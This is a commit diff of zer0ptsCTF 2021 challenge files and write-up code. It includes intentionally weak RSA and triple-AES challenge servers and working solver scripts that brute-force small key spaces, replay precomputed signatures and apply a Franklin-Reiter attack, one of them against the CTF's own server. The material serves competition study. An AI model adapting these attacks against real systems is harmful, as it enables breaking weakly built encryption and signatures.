n = con.recvuntil(", ", drop=True)
32+
e = con.recvuntil(")\n", drop=True)
33+
34+
con.recvuntil("Sign this message: ")
35+
msg = con.recvline().strip()
36+
37+
if msg in table:
38+
for info in table[msg]:
39+
if info["n"] != n:
40+
continue
41+
42+
con.recvuntil("Signature: ")
43+
con.sendline(info["sign"])
44+
45+
con.recvuntil("Thank you for signing my message!")
46+
47+
con.interactive()
48+
exit(0)
49+
50+
con.close()

‎zer0ptsCTF/2021/signme/table_gen.cpp

+110
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,110 @@
1+
#include <cstdint>
2+
#include <gmp.h>
3+
#include <gmpxx.h>
4+
5+
#define SECURITY_PARAMETER (1024)
6+
7+
typedef struct
8+
{
9+
mpz_t p;
10+
mpz_t q;
11+
mpz_t n;
12+
mpz_t e;
13+
mpz_t d;
14+
} PrivateKey;
15+
16+
typedef struct
17+
{
18+
mpz_t e;
19+
mpz_t n;
20+
} PublicKey;
21+
22+
void _get_prime(gmp_randstate_t rstate, mpz_t p, uint32_t n)
23+
{
24+
mpz_t r;
25+
mpz_init(r);
26+
do
27+
{
28+
mpz_urandomb(r, rstate, n);
29+
mpz_setbit(r, n - 1);
30+
mpz_nextprime(p, r);
31+
} while (mpz_sizeinbase(p, 2) >= n + 1);
32+
mpz_clear(r);
33+
}
34+
35+
void generate_keypair(gmp_randstate_t rstate, PublicKey *pub, PrivateKey *priv)
36+
{
37+
mpz_t phi, pm, qm;
38+
mpz_inits(phi, pm, qm, NULL);
39+
40+
/* Generate private key*/
41+
mpz_inits(priv->p, priv->q, priv->n, priv->e, priv->d, NULL);
42+
mpz_set_ui(priv->e, 65537UL);
43+
_get_prime(rstate, priv->p, SECURITY_PARAMETER);
44+
_get_prime(rstate, priv->q, SECURITY_PARAMETER);
45+
mpz_mul(priv->n, priv->p, priv->q);
46+
mpz_sub_ui(pm, priv->p, 1UL);
47+
mpz_sub_ui(qm, priv->q, 1UL);
48+
mpz_mul(phi, pm, qm);
49+
mpz_invert(priv->d, priv->e, phi);
50+
51+
/* Generate public key */
52+
mpz_init_set(pub->e, priv->e);
53+
mpz_init_set(pub->n, priv->n);
54+
55+
/* Cleanup */
56+
mpz_clears(phi, pm, qm, NULL);
57+
}
58+
59+
void generate_signature(mpz_t sign, mpz_t m, PrivateKey *priv)
60+
{
61+
mpz_t sp, sq, qi;
62+
mpz_init2(sp, SECURITY_PARAMETER);
63+
mpz_init2(sq, SECURITY_PARAMETER);
64+
mpz_init2(qi, SECURITY_PARAMETER);
65+
66+
mpz_powm(sp, m, priv->d, priv->p);
67+
mpz_powm(sq, m, priv->d, priv->q);
68+
mpz_invert(qi, priv->q, priv->p);
69+
mpz_sub(sign, sp, sq);
70+
mpz_mul(sign, sign, qi);
71+
mpz_mod(sign, sign, priv->p);
72+
mpz_mul(sign, sign, priv->q);
73+
mpz_add(sign, sign, sq);
74+
mpz_mod(sign, sign, priv->n);
75+
76+
mpz_clears(sp, sq, NULL);
77+
}
78+
79+
#define TABLE_BITS (20)
80+
81+
int main()
82+
{
83+
// stdout will go to `./table`
84+
freopen("table", "w", stdout);
85+
86+
#pragma omp parallel for
87+
for (unsigned long int seed = 0; seed < (1 << TABLE_BITS); seed++)
88+
{
89+
gmp_randstate_t rstate;
90+
gmp_randinit_lc_2exp_size(rstate, 16);
91+
gmp_randseed_ui(rstate, seed << (32 - TABLE_BITS));
92+
93+
mpz_t m, sign;
94+
PrivateKey priv;
95+
PublicKey pub;
96+
97+
mpz_inits(m, sign, NULL);
98+
99+
generate_keypair(rstate, &pub, &priv);
100+
mpz_urandomb(m, rstate, SECURITY_PARAMETER);
101+
generate_signature(sign, m, &priv);
102+
103+
#pragma omp critical
104+
gmp_printf("%d %Zx %Zx %Zx\n", seed, pub.n, m, sign);
105+
106+
mpz_clears(m, sign, NULL);
107+
}
108+
109+
return 0;
110+
}

‎zer0ptsCTF/2021/subleq64/graph.dot

+100
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,100 @@
1+
digraph subleq {
2+
n0 [label="0..0"];
3+
n1 [label="8..212"];
4+
n2 [label="216..339"];
5+
n3 [label="342..585"];
6+
n4 [label="588..660"];
7+
n5 [label="672..723"];
8+
n6 [label="726..819"];
9+
n7 [label="822..846"];
10+
n8 [label="850..883"];
11+
n9 [label="886..910"];
12+
n10 [label="914..1148"];
13+
n11 [label="1152..1284"];
14+
n12 [label="1288..1378"];
15+
n13 [label="1541..1790"];
16+
n14 [label="1985..2039"];
17+
n15 [label="2042..2231"];
18+
n16 [label="2234..2327"];
19+
n17 [label="2330..2597"];
20+
n18 [label="2600..2768"];
21+
n19 [label="2772..2886"];
22+
n20 [label="2889..2934"];
23+
n21 [label="2937..2988"];
24+
n22 [label="2991..3084"];
25+
n23 [label="3087..3330"];
26+
n24 [label="3333..3531"];
27+
n25 [label="3543..3597"];
28+
n26 [label="3600..3645"];
29+
n27 [label="3648..3876"];
30+
n28 [label="3880..3994"];
31+
n29 [label="3997..3997"];
32+
n30 [label="4000..4087"];
33+
n31 [label="4090..4312"];
34+
n32 [label="4316..4385"];
35+
n33 [label="4388..4481"];
36+
n34 [label="4484..4748"];
37+
n35 [label="4751..4871"];
38+
n36 [label="4874..5012"];
39+
n37 [label="5015..5576"];
40+
n38 [label="5579..5912"];
41+
n39 [label="5916..5946"];
42+
n40 [label="5949..5949"];
43+
n41 [label="5952..6060"];
44+
n42 [label="6063..6087"];
45+
n0 -> n42;
46+
n1 -> n13;
47+
n2 -> n8;
48+
n2 -> n10;
49+
n3 -> n4;
50+
n4 -> n5;
51+
n5 -> n6;
52+
n6 -> n9;
53+
n6 -> n7;
54+
n7 -> n1;
55+
n8 -> n6;
56+
n9 -> n1;
57+
n10 -> n23;
58+
n11 -> n13;
59+
n12 -> n4;
60+
n13 -> n14;
61+
n14 -> n16;
62+
n14 -> n15;
63+
n15 -> n16;
64+
n16 -> n18;
65+
n16 -> n17;
66+
n17 -> n18;
67+
n18 -> n24;
68+
n19 -> n20;
69+
n19 -> n21;
70+
n20 -> n22;
71+
n21 -> n22;
72+
n22 -> n2;
73+
n22 -> n12;
74+
n23 -> n11;
75+
n24 -> n25;
76+
n25 -> n27;
77+
n25 -> n26;
78+
n26 -> n33;
79+
n27 -> n34;
80+
n28 -> n30;
81+
n28 -> n29;
82+
n29 -> n31;
83+
n30 -> n31;
84+
n31 -> n24;
85+
n32 -> n33;
86+
n33 -> n19;
87+
n33 -> n32;
88+
n34 -> n36;
89+
n34 -> n35;
90+
n35 -> n41;
91+
n36 -> n37;
92+
n37 -> n38;
93+
n37 -> n40;
94+
n38 -> n34;
95+
n39 -> n41;
96+
n40 -> n37;
97+
n41 -> n28;
98+
n41 -> n39;
99+
n42 -> n3;
100+
}

‎zer0ptsCTF/2021/subleq64/graphviz.png

236 KB
Loading

‎zer0ptsCTF/2021/subleq64/solver.py

+27
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
flag_str = "34 70 194 23 42 149 207 118 189 238 163 162 97 218 119 98 74 85 43 70 80 230 160 128 176 104 30 159 74 155 201 140 10 173 175 42 219 49 244 125 63 57 83 175 211 55 200 153 185 94 239 55 190 255 18 129 9 172 186 12"
2+
encrypted_flag = list(map(int, flag_str.split()))
3+
4+
lcg_a = 6364136223846793005 & 0xffffffff
5+
lcg_b = 1442695040888963407 & 0xffffffff
6+
state = (-802458212630453242) & 0xffffffff
7+
8+
def lcg_proceed():
9+
global state
10+
state = ((state * lcg_a) + lcg_b) & 0xffffffff
11+
12+
idle_run = 1
13+
14+
flag = ""
15+
16+
for flag_char in encrypted_flag:
17+
# We only care about the last byte,
18+
# and running LCG 256 times preserves the last byte
19+
if idle_run < 256:
20+
for _ in range(idle_run):
21+
lcg_proceed()
22+
lcg_proceed()
23+
24+
flag += chr((flag_char - state) & 0xff)
25+
idle_run *= 2
26+
27+
print(flag)

‎zer0ptsCTF/2021/subleq64/sqrun.cpp

+297
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,297 @@
1+
// Emulator of Subleq language (and its derivatives)
2+
// Oleg Mazonka, 10 Nov 2006, 19 Jan 2009
3+
// addleq 22 Sept 2009
4+
// p1eq 28 Sept 2009
5+
6+
#include <iostream>
7+
#include <fstream>
8+
#include <iomanip>
9+
#include <vector>
10+
#include <stdlib.h>
11+
#include <string>
12+
13+
using namespace std;
14+
15+
struct Mem
16+
{
17+
vector<int> v;
18+
int &operator[](int i);
19+
int size() { return v.size(); }
20+
21+
void dump();
22+
};
23+
24+
void Mem::dump()
25+
{
26+
for (int i = 0; i < v.size(); i++)
27+
cout << i << ":" << v[i] << ' ';
28+
}
29+
30+
int &Mem::operator[](int i)
31+
{
32+
if (i < 0)
33+
throw "Access violation: ";
34+
if (i >= v.size())
35+
v.resize(i + 1, 0);
36+
return v[i];
37+
}
38+
39+
Mem mem;
40+
string sout = "OUT", sin = "IN";
41+
int iout = -1, iin = -1;
42+
enum
43+
{
44+
IOCHAR,
45+
IOINT
46+
} io_type = IOCHAR;
47+
48+
int ip = 0;
49+
bool addleq = false;
50+
bool p1eq = false;
51+
52+
bool loadfrom(istream &in)
53+
{
54+
while (1)
55+
{
56+
string s;
57+
in >> s;
58+
if (!in)
59+
break;
60+
if (s.size() < 1)
61+
break;
62+
if (s[0] == '#')
63+
{
64+
if (s.size() == sout.size() + 1 && s.substr(1) == sout)
65+
mem[ip++] = iout;
66+
else if (s.size() == sin.size() + 1 && s.substr(1) == sin)
67+
mem[ip++] = iin;
68+
else
69+
{
70+
cerr << "Unresolved register " << s << '\n';
71+
return false;
72+
}
73+
}
74+
else
75+
mem[ip++] = atoi(s.c_str());
76+
}
77+
78+
return true;
79+
}
80+
81+
bool load(const char *f)
82+
{
83+
ifstream in(f);
84+
if (!in)
85+
{
86+
cout << "cannot open " << f << "\n";
87+
return false;
88+
}
89+
90+
return loadfrom(in);
91+
}
92+
93+
void usage()
94+
{
95+
cout << "Usage: sqrun [-stdin] [-trace] [-steps] [-outname=OUT] [-outaddr=-1] "
96+
"[-inname=IN] [-inaddr=-1] [-iotype=c|i] [-a] [-p] file1 file2 file3 ...\n";
97+
cout << "\t(-a) use addleq variation\n";
98+
cout << "\t(-p) use p1eq variation\n";
99+
}
100+
101+
int main(int ac, char *av[])
102+
{
103+
bool trace = false, steps = false;
104+
bool bcin = false;
105+
106+
if (ac < 2)
107+
{
108+
usage();
109+
return 0;
110+
}
111+
112+
for (int i = 1; i < ac; i++)
113+
{
114+
if (av[i][0] != '-')
115+
continue;
116+
117+
string s = av[i];
118+
if (s.size() > 9 && s.substr(1, 8) == "outname=")
119+
sout = s.substr(9);
120+
else if (s.size() > 9 && s.substr(1, 8) == "outaddr=")
121+
iout = atoi(s.substr(9).c_str());
122+
else if (s.size() > 8 && s.substr(1, 7) == "inname=")
123+
sin = s.substr(8);
124+
else if (s.size() > 8 && s.substr(1, 7) == "inaddr=")
125+
iin = atoi(s.substr(8).c_str());
126+
else if (s.size() == 6 && s.substr(1, 5) == "trace")
127+
trace = true;
128+
else if (s.size() == 6 && s.substr(1, 5) == "steps")
129+
steps = true;
130+
else if (s.size() == 6 && s.substr(1, 5) == "stdin")
131+
bcin = true;
132+
else if (s.size() == 2 && s.substr(1, 1) == "a")
133+
addleq = true;
134+
else if (s.size() == 2 && s.substr(1, 1) == "p")
135+
p1eq = true;
136+
else if (s.size() == 9 && s.substr(1, 6) == "iotype")
137+
{
138+
if (s[8] == 'c')
139+
io_type = IOCHAR;
140+
if (s[8] == 'i')
141+
io_type = IOINT;
142+
}
143+
else
144+
{
145+
cerr << "Unknown option [" << s << "]\n";
146+
usage();
147+
return 2;
148+
}
149+
}
150+
151+
if (bcin)
152+
{
153+
if (!loadfrom(cin))
154+
return 1;
155+
}
156+
else
157+
for (int i = 1; i < ac; i++)
158+
if (av[i][0] != '-')
159+
if (!load(av[i]))
160+
return 1;
161+
162+
if (trace)
163+
cout << "using outname=" << sout << " outaddr=" << iout << " inname=" << sin << " inaddr=" << iin << '\n';
164+
165+
ip = 0;
166+
int iter = 0;
167+
int iter2 = 0;
168+
try
169+
{
170+
while (++iter)
171+
{
172+
if (iter == 1000000)
173+
{
174+
iter2++;
175+
iter = 0;
176+
}
177+
if (ip >= mem.size())
178+
break;
179+
180+
int a = mem[ip++];
181+
int b = mem[ip++];
182+
if (ip >= mem.size())
183+
{
184+
cerr << "Incomplete instruction\n";
185+
break;
186+
}
187+
int c = mem[ip++];
188+
189+
if (trace)
190+
cout << "exec " << ip - 3 << ":\t" << a << ' ' << b << ' ' << c << ' ';
191+
192+
if (a == iin && b == iout)
193+
{
194+
int x = 0;
195+
196+
if (io_type == IOCHAR)
197+
{
198+
char c;
199+
cin.get(c);
200+
x = (unsigned char)c;
201+
if (cin)
202+
cout << c << flush;
203+
}
204+
else if (io_type == IOINT)
205+
{
206+
cin >> x;
207+
if (cin)
208+
cout << x << ' ' << flush;
209+
}
210+
211+
if (trace)
212+
cout << " \tinout " << x << ' ';
213+
}
214+
else if (a == iin)
215+
{
216+
int x = 0;
217+
if (io_type == IOCHAR)
218+
{
219+
char c;
220+
cin.get(c);
221+
x = (unsigned char)c;
222+
}
223+
else if (io_type == IOINT)
224+
cin >> x;
225+
226+
if (!p1eq)
227+
{
228+
if (cin)
229+
mem[b] += x;
230+
else
231+
mem[b] -= 1;
232+
233+
if (mem[b] <= 0)
234+
ip = c;
235+
}
236+
else
237+
{
238+
if (mem[b] == x)
239+
ip = c;
240+
mem[b] = x;
241+
}
242+
243+
if (trace)
244+
cout << " \tinput [b]=" << mem[b] << " ip=" << ip << ' ';
245+
}
246+
else if (b == iout)
247+
{
248+
if (io_type == IOCHAR)
249+
cout << (unsigned char)(mem[a]) << flush;
250+
else if (io_type == IOINT)
251+
cout << mem[a] << ' ' << flush;
252+
if (trace)
253+
cout << " \toutput " << mem[a] << ' ';
254+
}
255+
else
256+
{
257+
// need temporary because [] may resize and invalidate mem[b]
258+
int ma = mem[a];
259+
if (!p1eq)
260+
{
261+
if (!addleq)
262+
mem[b] -= ma;
263+
else
264+
mem[b] += ma;
265+
266+
if (mem[b] <= 0)
267+
ip = c;
268+
}
269+
else
270+
{
271+
if (mem[b] == ma + 1)
272+
ip = c;
273+
mem[b] = ma + 1;
274+
}
275+
276+
if (trace)
277+
cout << " \t[a]=" << mem[a] << " [b]=" << mem[b];
278+
}
279+
280+
if (trace)
281+
cout << "\n";
282+
if (ip < 0)
283+
break;
284+
}
285+
}
286+
catch (const char *s)
287+
{
288+
cout << s << " ip=" << ip << '\n';
289+
if (ip >= 0)
290+
cout << "mem[ip]=" << mem[ip] << '\n';
291+
mem.dump();
292+
cout << '\n';
293+
}
294+
295+
if (steps)
296+
cout << "\nsteps=" << iter2 << std::setfill('0') << std::setw(6) << iter << '\n';
297+
}

‎zer0ptsCTF/2021/subleq64/subleq64.sq

+1
Large diffs are not rendered by default.

‎zer0ptsCTF/2021/subleq64/visualize.py

+108
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,108 @@
1+
import sys
2+
3+
with open("subleq64.sq") as f:
4+
mem = list(map(int, f.read().split()))
5+
accessed = [False for _ in range(len(mem))]
6+
7+
outgoing = [set() for _ in range(len(mem))]
8+
incoming = [set() for _ in range(len(mem))]
9+
10+
11+
def reserve(num):
12+
global mem, accessed, outgoing, incoming
13+
14+
if len(mem) <= num:
15+
to_append = num - len(mem) + 1
16+
mem += [int(0) for _ in range(to_append)]
17+
accessed += [False for _ in range(to_append)]
18+
outgoing += [set() for _ in range(to_append)]
19+
incoming += [set() for _ in range(to_append)]
20+
21+
22+
def add_edge(s, t):
23+
outgoing[s].add(t)
24+
incoming[t].add(s)
25+
26+
27+
print(f"Initial mem length: {len(mem)}")
28+
29+
30+
remaining_run = 20000000
31+
32+
pc = 0
33+
34+
while remaining_run > 0:
35+
accessed[pc] = True
36+
37+
a = mem[pc]
38+
b = mem[pc + 1]
39+
c = mem[pc + 2]
40+
41+
if a < 0 or (b < 0 and b != -1):
42+
print("segmentation fault")
43+
exit(1)
44+
45+
if b == -1:
46+
reserve(a)
47+
48+
sys.stdout.write(chr(mem[a] & 0xff))
49+
50+
assert c == pc + 3
51+
add_edge(pc, pc + 3)
52+
pc += 3
53+
else:
54+
reserve(a)
55+
reserve(b)
56+
57+
mem[b] -= mem[a]
58+
59+
if mem[b] > 0:
60+
add_edge(pc, pc + 3)
61+
pc += 3
62+
else:
63+
add_edge(pc, c)
64+
pc = c
65+
66+
remaining_run -= 1
67+
68+
# Path compression
69+
path_id = [None for _ in range(len(mem))]
70+
path_range = []
71+
72+
for node in range(3):
73+
if accessed[node]:
74+
new_id = len(path_range)
75+
path_range.append([node, node])
76+
path_id[node] = new_id
77+
78+
for node in range(3, len(mem)):
79+
if accessed[node]:
80+
if (len(outgoing[node - 3]) == 1
81+
and len(incoming[node]) == 1
82+
and node in outgoing[node - 3]
83+
and (node - 3) in incoming[node]
84+
):
85+
new_id = path_id[node - 3]
86+
path_range[new_id][1] = node
87+
else:
88+
new_id = len(path_range)
89+
path_range.append([node, node])
90+
path_id[node] = new_id
91+
92+
graph = "digraph subleq {\n"
93+
94+
for path in range(len(path_range)):
95+
graph += f' n{path} [label="{path_range[path][0]}..{path_range[path][1]}"];\n'
96+
97+
for node in range(len(mem)):
98+
for next_node in outgoing[node]:
99+
path = path_id[node]
100+
next_path = path_id[next_node]
101+
102+
if path != next_path and path is not None and next_path is not None:
103+
graph += f' n{path} -> n{next_path};\n'
104+
105+
graph += "}\n"
106+
107+
with open("graph.dot", "w") as f:
108+
f.write(graph)

‎zer0ptsCTF/2021/triple_aes/server.py

+65
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
from Crypto.Cipher import AES
2+
from Crypto.Random import get_random_bytes
3+
from binascii import hexlify, unhexlify
4+
from hashlib import md5
5+
import os
6+
import signal
7+
from flag import flag
8+
9+
keys = [md5(os.urandom(3)).digest() for _ in range(3)]
10+
11+
12+
def get_ciphers(iv1, iv2):
13+
return [
14+
AES.new(keys[0], mode=AES.MODE_ECB),
15+
AES.new(keys[1], mode=AES.MODE_CBC, iv=iv1),
16+
AES.new(keys[2], mode=AES.MODE_CFB, iv=iv2, segment_size=8*16),
17+
]
18+
19+
def encrypt(m: bytes, iv1: bytes, iv2: bytes) -> bytes:
20+
assert len(m) % 16 == 0
21+
ciphers = get_ciphers(iv1, iv2)
22+
c = m
23+
for cipher in ciphers:
24+
c = cipher.encrypt(c)
25+
return c
26+
27+
def decrypt(c: bytes, iv1: bytes, iv2: bytes) -> bytes:
28+
assert len(c) % 16 == 0
29+
ciphers = get_ciphers(iv1, iv2)
30+
m = c
31+
for cipher in ciphers[::-1]:
32+
m = cipher.decrypt(m)
33+
return m
34+
35+
signal.alarm(3600)
36+
while True:
37+
print("==== MENU ====")
38+
print("1. Encrypt your plaintext")
39+
print("2. Decrypt your ciphertext")
40+
print("3. Get encrypted flag")
41+
choice = int(input("> "))
42+
43+
if choice == 1:
44+
plaintext = unhexlify(input("your plaintext(hex): "))
45+
iv1, iv2 = get_random_bytes(16), get_random_bytes(16)
46+
ciphertext = encrypt(plaintext, iv1, iv2)
47+
ciphertext = b":".join([hexlify(x) for x in [iv1, iv2, ciphertext]]).decode()
48+
print("here's the ciphertext: {}".format(ciphertext))
49+
50+
elif choice == 2:
51+
ciphertext = input("your ciphertext: ")
52+
iv1, iv2, ciphertext = [unhexlify(x) for x in ciphertext.strip().split(":")]
53+
plaintext = decrypt(ciphertext, iv1, iv2)
54+
print("here's the plaintext(hex): {}".format(hexlify(plaintext).decode()))
55+
56+
elif choice == 3:
57+
plaintext = flag
58+
iv1, iv2 = get_random_bytes(16), get_random_bytes(16)
59+
ciphertext = encrypt(plaintext, iv1, iv2)
60+
ciphertext = b":".join([hexlify(x) for x in [iv1, iv2, ciphertext]]).decode()
61+
print("here's the encrypted flag: {}".format(ciphertext))
62+
exit()
63+
64+
else:
65+
exit()

‎zer0ptsCTF/2021/triple_aes/solver.py

+150
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,150 @@
1+
from pwn import *
2+
3+
from Crypto.Cipher import AES
4+
from Crypto.Random import get_random_bytes
5+
from Crypto.Util.strxor import strxor
6+
from binascii import hexlify, unhexlify
7+
from hashlib import md5
8+
import os
9+
import pickle
10+
11+
12+
def aes_with_key(key):
13+
assert 0 <= key < 2 ** 24
14+
key_bytes = md5(key.to_bytes(3, "big")).digest()
15+
return AES.new(key_bytes, mode=AES.MODE_ECB)
16+
17+
18+
# All zero block
19+
ZERO = bytes(AES.block_size)
20+
ZERO_HEX = hexlify(ZERO)
21+
22+
# How many tries
23+
N = 3
24+
25+
print("Populating key3 table...")
26+
27+
PICKLE_FILE = "key3.pickle"
28+
if os.path.exists(PICKLE_FILE):
29+
with open(PICKLE_FILE, 'rb') as f:
30+
key3_table = pickle.load(f)
31+
else:
32+
key3_table = {}
33+
34+
for key3 in range(2 ** 24):
35+
# (E3(X) ^ X) -> key3
36+
aes = aes_with_key(key3)
37+
key3_table[aes.encrypt(ZERO)] = key3
38+
39+
with open(PICKLE_FILE, 'wb') as f:
40+
pickle.dump(key3_table, f)
41+
42+
iv1 = [get_random_bytes(AES.block_size) for _ in range(N)]
43+
44+
print("Collecting cipher pairs from the server...")
45+
46+
con = remote("crypto.ctf.zer0pts.com", 10929)
47+
48+
dec_result = []
49+
50+
for i in range(N):
51+
con.recvuntil("\n> ")
52+
con.sendline("2")
53+
con.recvuntil("your ciphertext: ")
54+
con.sendline("{}:{}:{}{}".format(
55+
hexlify(iv1[i]).decode(),
56+
ZERO_HEX.decode(),
57+
ZERO_HEX.decode(),
58+
ZERO_HEX.decode(),
59+
))
60+
con.recvuntil("here's the plaintext(hex): ")
61+
62+
received = unhexlify(con.recvline().strip())
63+
assert len(received) == AES.block_size * 2
64+
65+
dec_result.append((received[:AES.block_size], received[AES.block_size:]))
66+
67+
con.recvuntil("\n> ")
68+
con.sendline("3")
69+
con.recvuntil("here's the encrypted flag: ")
70+
line = con.recvline().strip()
71+
flag_iv1, flag_iv2, flag_cipher = tuple(map(unhexlify, line.split(b":")))
72+
73+
74+
# Check the validity of key1
75+
# Returns key3 if successful, None otherwise
76+
def key3_from_key1(key1):
77+
aes = aes_with_key(key1)
78+
79+
key3 = None
80+
for i in range(N):
81+
dec = dec_result[i]
82+
key3_result = strxor(
83+
strxor(aes.encrypt(dec[0]), aes.encrypt(dec[1])), iv1[i]
84+
)
85+
if key3_result not in key3_table:
86+
return None
87+
key3_cand = key3_table[key3_result]
88+
89+
if key3 is None:
90+
key3 = key3_cand
91+
elif key3 != key3_cand:
92+
return None
93+
94+
return key3
95+
96+
print("Brute forcing key1...")
97+
98+
for key1 in range(2 ** 24):
99+
key3 = key3_from_key1(key1)
100+
if key3 is not None:
101+
break
102+
103+
# We now have valid key1 and key3 at this point
104+
aes3 = aes_with_key(key3)
105+
aes1 = aes_with_key(key1)
106+
107+
108+
def key2_is_valid(key2):
109+
global aes1, aes3
110+
aes2 = aes_with_key(key2)
111+
112+
for i in range(N):
113+
dec = dec_result[i]
114+
guess = aes1.decrypt(strxor(aes2.decrypt(aes3.encrypt(ZERO)), iv1[i]))
115+
if guess != dec[0]:
116+
return False
117+
118+
return True
119+
120+
print("Brute forcing key2...")
121+
122+
for key2 in range(2 ** 24):
123+
if key2_is_valid(key2):
124+
break
125+
126+
def get_ciphers(keys, iv1, iv2):
127+
return [
128+
AES.new(keys[0], mode=AES.MODE_ECB),
129+
AES.new(keys[1], mode=AES.MODE_CBC, iv=iv1),
130+
AES.new(keys[2], mode=AES.MODE_CFB, iv=iv2, segment_size=8*16),
131+
]
132+
133+
def decrypt(keys, c, iv1, iv2) -> bytes:
134+
assert len(c) % 16 == 0
135+
ciphers = get_ciphers(keys, iv1, iv2)
136+
m = c
137+
for cipher in ciphers[::-1]:
138+
m = cipher.decrypt(m)
139+
return m
140+
141+
keys = [
142+
md5(key1.to_bytes(3, "big")).digest(),
143+
md5(key2.to_bytes(3, "big")).digest(),
144+
md5(key3.to_bytes(3, "big")).digest(),
145+
]
146+
147+
print("Decrypting the flag...")
148+
149+
flag_bytes = decrypt(keys, flag_cipher, flag_iv1, flag_iv2)
150+
print(flag_bytes.decode())

‎zer0ptsCTF/2021/warsamup/output.txt

+4
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
n = 113135121314210337963205879392132245927891839184264376753001919135175107917692925687745642532400388405294058068119159052072165971868084999879938794441059047830758789602416617241611903275905693635535414333219575299357763227902178212895661490423647330568988131820052060534245914478223222846644042189866538583089
2+
e = 1337
3+
c1= 89077537464844217317838714274752275745737299140754457809311043026310485657525465380612019060271624958745477080123105341040804682893638929826256518881725504468857309066477953222053834586118046524148078925441309323863670353080908506037906892365564379678072687516738199061826782744188465569562164042809701387515
4+
c2= 18316499600532548540200088385321489533551929653850367414045951501351666430044325649693237350325761799191454032916563398349042002392547617043109953849020374952672554986583214658990393359680155263435896743098100256476711085394564818470798155739552647869415576747325109152123993105242982918456613831667423815762

‎zer0ptsCTF/2021/warsamup/solver.sage

+31
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
import binascii
2+
3+
n = 113135121314210337963205879392132245927891839184264376753001919135175107917692925687745642532400388405294058068119159052072165971868084999879938794441059047830758789602416617241611903275905693635535414333219575299357763227902178212895661490423647330568988131820052060534245914478223222846644042189866538583089
4+
e = 1337
5+
c1 = 89077537464844217317838714274752275745737299140754457809311043026310485657525465380612019060271624958745477080123105341040804682893638929826256518881725504468857309066477953222053834586118046524148078925441309323863670353080908506037906892365564379678072687516738199061826782744188465569562164042809701387515
6+
c2 = 18316499600532548540200088385321489533551929653850367414045951501351666430044325649693237350325761799191454032916563398349042002392547617043109953849020374952672554986583214658990393359680155263435896743098100256476711085394564818470798155739552647869415576747325109152123993105242982918456613831667423815762
7+
8+
9+
# From: https://github.com/ashutosh1206/Crypton/blob/master/RSA-encryption/Attack-Franklin-Reiter/exploit.sage
10+
def gcd(a, b):
11+
while b:
12+
a, b = b, a % b
13+
return a.monic()
14+
15+
def franklinreiter(C1, C2, e, N, a, b):
16+
P.<X> = PolynomialRing(Zmod(N))
17+
g1 = (a*X + b)^e - C1
18+
g2 = X^e - C2
19+
result = -gcd(g1, g2).coefficients()[0]
20+
return result
21+
22+
inv2 = inverse_mod(2, n)
23+
inv2_e = pow(inv2, e, n)
24+
25+
r = inv2_e
26+
c1_prime = (c1 * inv2_e) % n
27+
28+
m = franklinreiter(c1, c2, e, n, 2, 1)
29+
ms = m * 2 + 1
30+
31+
print(binascii.unhexlify("0" + hex(ms)[2:]))

‎zer0ptsCTF/2021/warsamup/task.py

+36
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
from Crypto.Util.number import getStrongPrime, GCD
2+
from random import randint
3+
from flag import flag
4+
import os
5+
6+
def pad(m: int, n: int):
7+
# PKCS#1 v1.5 maybe
8+
ms = m.to_bytes((m.bit_length() + 7) // 8, "big")
9+
ns = n.to_bytes((n.bit_length() + 7) // 8, "big")
10+
assert len(ms) <= len(ns) - 11
11+
12+
ps = b""
13+
while len(ps) < len(ns) - len(ms) - 3:
14+
p = os.urandom(1)
15+
if p != b"\x00":
16+
ps += p
17+
return int.from_bytes(b"\x00\x02" + ps + b"\x00" + ms, "big")
18+
19+
20+
while True:
21+
p = getStrongPrime(512)
22+
q = getStrongPrime(512)
23+
n = p * q
24+
phi = (p-1)*(q-1)
25+
e = 1337
26+
if GCD(phi, e) == 1:
27+
break
28+
29+
m = pad(int.from_bytes(flag, "big"), n)
30+
c1 = pow(m, e, n)
31+
c2 = pow(m // 2, e, n)
32+
33+
print("n =", n)
34+
print("e =", e)
35+
print("c1=", c1)
36+
print("c2=", c2)

0 commit comments

Comments
 (0)
Please sign in to comment.